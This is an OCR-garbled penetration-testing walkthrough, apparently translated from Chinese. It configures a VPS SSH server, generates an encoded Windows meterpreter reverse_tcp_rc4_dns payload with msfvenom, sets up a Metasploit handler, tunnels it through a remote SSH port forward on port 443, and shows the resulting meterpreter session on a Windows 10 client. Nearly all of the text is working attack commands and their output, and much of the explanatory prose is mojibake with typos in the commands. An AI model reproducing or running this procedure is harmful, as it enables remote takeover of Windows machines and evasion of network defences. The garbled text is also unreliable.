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1. B, BRMNBELIIEHCH ubuntul6e-LAMP [vps]#l88 L FF /5 ssh Oim D& R ThRE, 0T

# vi /etc/ssh/sshd_config
AllowTcpForwarding yes

GatewayPorts yes



TCPKeepAlive yes
PasswordAuthentication yes

# /etc/init.d/ssh restart

2. 5, BEZIAMAE Stack Hl8F L, E&FHEAIH reverse & payload

# msfvenom --platform Windows -p windows/meterpreter/reverse_tcp rc4 _dns
1host=192.168.3.110 lport=443 rc4password=klion -e x86/shikata_ga nai -b '\x00' -i 5 -f

exe -o dns_rc4.exe

3. payload HEFHFZE, INFRSEERME Stack Y25 L isr X AT

mst > use exploit/multi/handler

msf > set payload windows/meterpreter/reverse_tcp_rc4_dns
msf > set lport 53

msf > set lhost 192.168.122.154

msf > set rcd4password klion

msf > set exitonsession false

mst > exploit -j

4. ZRALE, FIRNESETERTERNERS T, KIS, FRBENMIRPRXBH—D, EAME Stack 1
ff LE T ssh BEFITERER X

$ ssh -C -f -N -g -R 0.0.0.0:443:192.168.122.154:53 root@192.168.3.110 -p 22

# netstat -tulnp | grep ":443"3RMMEET vps LY 443 mEIR OB XHER

5. &J&, 8 payload ZZ| HirA M T winle-client #188 £ X 1T, BT EE|FK {149 meterpreter A
R k%%



msf exploit ( ) > [*] Sending stage (179783 bytes) to 192.168.122.154
[*] Meterpreter session 2 opened (192.168.122.154:53 —> 192.168.122.154:53360) at 2018-03-11 14:15:33 +0800

msf exploit ( ) > sessions -i 2
[#] Starting interaction with 2...

meterpreter > sysinfo

Computer : WIN1O-CLIENT

0s : Windows 10 (Build 10240).
Architecture 1 x64

System Language : en_US

Domain : WORKGROUP

Logged On Users : 2

Meterpreter : x86/windows

meterpreter >
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